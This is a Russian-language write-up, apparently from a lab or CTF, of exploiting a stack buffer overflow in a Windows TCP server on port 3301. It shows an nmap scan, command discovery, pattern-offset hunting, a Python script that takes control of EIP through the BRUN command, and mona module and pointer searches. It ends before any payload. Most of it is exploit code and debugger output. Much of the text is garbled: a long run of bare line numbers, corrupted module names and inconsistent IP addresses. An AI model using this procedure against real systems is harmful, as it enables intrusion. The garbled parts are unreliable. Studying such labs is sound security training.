

Веб-интерфейс у сервера отсутствует, начнем со сканирования Nmap и увидим доступные нам порты

```
kali15338@kali15338: ~  
File Actions Edit View Help  
$ nmap -sS 10.10.0.2  
You requested a scan type which requires root privileges.  
QUITTING!  
  
(kali15338@kali15338)-[~]  
$ sudo nmap -sS 10.10.0.2  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-15 16:52 MSK  
Nmap scan report for 10.10.0.2  
Host is up (0.34s latency).  
Not shown: 987 closed tcp ports (reset)  
PORT      STATE SERVICE  
135/tcp   open  msrpc  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
554/tcp   open  rtsp  
2869/tcp  open  icslap  
3301/tcp  open  tarantool  
10243/tcp open  unknown  
49152/tcp open  unknown  
49153/tcp open  unknown  
49154/tcp open  unknown  
49155/tcp open  unknown  
49156/tcp open  unknown  
49158/tcp open  unknown  
  
Nmap done: 1 IP address (1 host up) scanned in 38.01 seconds  
  
(kali15338@kali15338)-[~]  
$
```

Перебираем порты и успешно подключаемся только к 3301 порту, с ним и будем работать.

Все вводимые данные на сервере фильтруются, прописываем HELP и видим доступные нам команды которые проходят

```
fuzzer9.py fuzzer.py kali15338@kali15338: ~
File Actions Edit View Help

(kali15338@kali15338)-[~]
$ nc -nv 10.10.0.2 3301
(UNKNOWN) [10.10.0.2] 3301 (?) open
Welcome to CYBERDEN Server! Enter HELP
Send failedHELP
Valid Commands:
HELP
UINDQ [UINDQ_value]
MASWS [MASWS_value]
DWARF [DWARF_value]
SPAN [SPAN_value]
BRUN [BRUN_value]
GMON [GMON_value]
VDOG [VDOG_value]
PSTET [PSTET_value]
GTER [GTER_value]
PTER [PTER_value]
LTTR [LTTR_value]
KSTAN [KSTAN_value]
EXIT
```

Так как у нас фильтруются все строки кроме разрешенных, будем передавать в буфер строку + нагрузку. Напишем небольшую программу на пайтоне, где создадим лист и будем передавать элементы каждого разрешенного значения в цикле, чтобы понять при каком элементе происходит переполнение буфера. Так же создадим паттерн на 2500 байт используя msf pattern для создания проверочного буфера в нашем коде, сам код выглядит вот так

```
1 #!/bin/python3
2
3 import socket
4
5 pattern =
6 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6
7Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3
8An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0
9Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7
10Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4
11Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1
12Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8
13Bu9Bu0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5
14Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2
15Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9
16Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6
17Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3
18Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2
```

```

Registers (FPU)
EAX 0353F974 ASCII "GTER Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"
ECX 0090A370
EDX 00000000
EBX 00000000
ESP 0353FA10 ASCII "f0Af1Af2Af3Af4Af5Af6Af7A"
EBP 38654137
ESI 00000000
EDI 00000000
EIP 41396541
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
H 0 SS 002B 32bit 0(FFFFFFFF)
I 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit FFF90000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0
LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty q
ST1 empty q
ST2 empty q
ST3 empty q
ST4 empty q
ST5 empty q
ST6 empty q
ST7 empty q
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NERR,53 Mask 1 1 1 1 1 1
0353FA10 66413066 f0Af
0353FA14 32664131 1Af2
0353FA18 41396641 Af3A
0353FA1C 66413468 f4Af
0353FA20 36664135 5Af6
0353FA24 41376641 Af7A
0353FA28 0353FB00 .rS#
0353FA2C 00000042 B...
0353FA30 00000042 B...
0353FA34 7DEA2C62 .r.) RETURN to ntdll.Z0E02C62 from ntdll.mwreset

```

```

(kali15338@kali15338)-[~]
$ msf-pattern_offset -l 2500 -q 41396541
[*] Exact match at offset 147

(kali15338@kali15338)-[~]
$ 

```

Продолжаем искать значения с допустимым размером буфера и останавливаемся на строке «BRUN » и так же проверяем на offset, где видим значение в 2007 байт, чего нам вполне хватит на нашу полезную нагрузку

```

(kali15338@kali15338)-[~]
$ msf-pattern_offset -l 2500 -q 43396f43
[*] Exact match at offset 2007

```

Начнем написание нашего фаззера, нам нужно убедиться, что значение 2007 действительно корректное и мы контролируем EIP, подадим значение “\x42\x42\x42\x42” и мы должны увидеть его в нашем EIP

```

1 #!/bin/python3
2
3 import socket
4
5 eip_control = b'\x42\x42\x42\x42'
6 buffer = b'BRUN ' + b'A' * 2007 + eip_control
7 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8 s.connect(("192.168.234.137", 3301))
9 s.send(buffer)
10 s.close()
11

```

```
Registers (FPU)
EAX 0216F230 ASCII "BRUN AAAAAAAAAA
ECX 0070424C
EDX 00000000
EBX 0000007C
ESP 0216FA10
EBP 41414141
ESI 00000000
EDI 00000000
EIP 42424242

C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit FFFDA000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)

0216FA08 41414141 AAAA
0216FA0C 42424242 BBBB
0216FA10 00703A00 .!p.
0216FA14 00702658 %p. ASCII "BRUN
```

```

0x00000000 Module info :
0x00000000
0x00000000 Base      | Top      | Size      | Rebase   | SafeSEH  | ASLR     | CFG      | NXCompat | OS Dll   | Version, ModuleName & Path, DLLCharacteristics
0x00000000
0x00000000 0x62500000 | 0x6251e000 | 0x0001e000 | False    | False    | True     | False    | True     | False    | 1.0- [lib.dll] (C:\Users\ADMIN\Desktop\4xEP7pwn\lib.dll) 0x140
0x00000000 0x7d320000 | 0x7d32a000 | 0x0000a000 | False    | False    | True     | True     | True     | True     | 6.1.7600.16385 LPK.dll [C:\Windows\system64\LPK.dll] 0x540
0x00000000 0x00150000 | 0x00159000 | 0x00009000 | False    | True     | True     | True     | True     | True     | 6.1.7600.16385 TRSI.dll [C:\Windows\system64\TRSI.dll] 0x540
0x00000000 0x70900000 | 0x709a5000 | 0x0000c000 | False    | True     | True     | False    | True     | True     | 6.1.7600.16385 HSECTF.dll [C:\Windows\system64\HSECTF.dll] 0x140
0x00000000 0x00090000 | 0x00099000 | 0x00009000 | False    | True     | True     | True     | True     | True     | 6.1.7600.16385 KERNELBASE.dll [C:\Windows\system64\KERNELBASE.dll] 0x140
0x00000000 0x41ac0000 | 0x41af5000 | 0x00005000 | False    | True     | True     | False    | True     | True     | 6.1.7600.16385 WS2_32.dll [C:\Windows\system64\WS2_32.dll] 0x140
0x00000000 0x00c80000 | 0x00c8b000 | 0x0000b000 | False    | True     | True     | True     | True     | True     | 6.1.7600.16385 WS2tcpip.dll [C:\Windows\system64\WS2tcpip.dll] 0x140
0x00000000 0x00f90000 | 0x00f97000 | 0x00007000 | False    | True     | True     | True     | True     | True     | 1.0005.7601.17514 USP10.dll [C:\Windows\system64\USP10.dll] 0x140
0x00000000 0x7dab0000 | 0x7dab0000 | 0x00000000 | False    | True     | True     | True     | True     | True     | 6.1.7601.17514 GDIP32.dll [C:\Windows\system64\GDIP32.dll] 0x140
0x00000000 0x00d40000 | 0x00d41e00 | 0x00001e00 | False    | False    | True     | False    | True     | False    | 1.0- [TCP_Server.exe] (C:\Users\ADMIN\Desktop\4xEP7pwn\TCP_Server.exe) 0x140
0x00000000 0x007d0000 | 0x007d9000 | 0x00009000 | False    | True     | True     | True     | True     | True     | 6.1.7600.16385 User32.dll [C:\Windows\system64\User32.dll] 0x140
0x00000000 0x00ff50000 | 0x00ff50000 | 0x0000ac000 | False    | True     | True     | False    | True     | True     | 7.0.7600.16385 msvcrt.dll [C:\Windows\system64\msvcrt.dll] 0x140
0x00000000 0x00000000 | 0x00000000 | 0x00000000 | False    | True     | True     | True     | True     | True     | 6.1.7600.16385 USER32.dll [C:\Windows\system64\USER32.dll] 0x540
0x00000000 0x7d350000 | 0x7d359000 | 0x00009000 | False    | True     | True     | False    | True     | True     | 6.1.7601.17514 User32.dll [C:\Windows\system64\User32.dll] 0x140
0x00000000 0x7d3a0000 | 0x7d3a9000 | 0x00009000 | False    | True     | True     | False    | True     | True     | 6.1.7601.17514 Spicell.dll [C:\Windows\system64\Spicell.dll] 0x140
0x00000000 0x7d3f0000 | 0x7d3f9000 | 0x00009000 | False    | True     | True     | True     | True     | True     | 6.1.7600.16385 USER32.dll [C:\Windows\system64\USER32.dll] 0x140
0x00000000 0x77760000 | 0x77769000 | 0x00009000 | False    | True     | True     | True     | True     | True     | 6.1.7600.16385 ADVAPI32.dll [C:\Windows\system64\ADVAPI32.dll] 0x140
0x00000000 0x7d3d0000 | 0x7d3d9000 | 0x00009000 | False    | True     | True     | True     | True     | True     | 6.1.7600.16385 RPCRT4.dll [C:\Windows\system64\RPCRT4.dll] 0x140
0x00000000 0x00250000 | 0x00259000 | 0x00009000 | False    | True     | True     | True     | True     | True     | 6.1.7600.16385 SXS.dll [C:\Windows\system64\SXS.dll] 0x140
0x00000000 0x3fd40000 | 0x3fd45000 | 0x00005000 | False    | True     | True     | False    | True     | True     | 6.1.7600.16385 Wshextcpip.dll [C:\Windows\System32\Wshextcpip.dll] 0x540
0x00000000 0x7d310000 | 0x7d319000 | 0x00009000 | False    | True     | True     | True     | True     | True     | 6.1.7601.17514 IJMS2.DLL [C:\Windows\System32\IJMS2.DLL] 0x140
0x00000000
0x00000000
0x00000000 [-] Preparing output file 'modules.txt'
0x00000000 [-] (Re)setting logfile modules.txt
0x00000000
0x00000000 [-] This mona.py action took 0x0000.265000

```

```

[+] Writing results to find.txt
[+] Number of pointers of type "ffffwE4" : 9
ffffwE4 : 0000001540 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
ffffwE4 : 0000001520 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
ffffwE4 : 0000001520 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
ffffwE4 : 0000001520 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
ffffwE4 : 0000001520 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
ffffwE4 : 0000001520 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
ffffwE4 : 0000001520 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
ffffwE4 : 0000001520 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
ffffwE4 : 0000001520 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
